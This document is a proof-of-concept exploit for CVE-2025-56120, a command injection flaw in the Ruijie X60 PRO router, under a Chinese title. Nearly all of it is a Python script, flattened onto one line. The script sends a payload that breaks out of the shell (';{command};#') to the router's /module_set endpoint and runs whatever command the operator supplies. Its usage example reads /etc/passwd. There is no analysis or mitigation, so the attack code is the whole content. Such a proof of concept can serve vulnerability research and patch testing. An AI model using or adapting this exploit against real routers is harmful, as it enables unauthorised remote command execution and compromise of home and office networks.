CVE-2025-56120 Ruijie X60 PRO路由器命令注入漏洞

import requests import sys # CVE-2025-56120 PoC - Ruijie X60 PRO Command Injection # Target: Ruijie X60 PRO Router (X60_10212014RG-X60 PRO V1.00/V2.00) # Vulnerability: OS Command Injection in module_set endpoint # File affected: /usr/local/lua/dev_config/config_retain.lua def exploit_command_injection(target_url, command): """ Exploit the command injection vulnerability in Ruijie X60 PRO router Args: target_url: Base URL of the target router web interface command: Command to execute on the target system Returns: Response from the target server """ endpoint = f"{target_url}/module_set" # Payload construction with command injection # Using semicolon to chain commands payload = f"'; {command}; #'" data = { 'module_name': 'config_retain', 'command': payload } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 3: print("Usage: python cve_2025_56120_poc.py <target_url> <command>") print("Example: python cve_2025_56120_poc.py http://192.168.1.1 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] print(f"[*] Targeting: {target}") print(f"[*] Executing command: {cmd}") result = exploit_command_injection(target, cmd) print("\n[+] Response:") print(result) if __name__ == "__main__": main()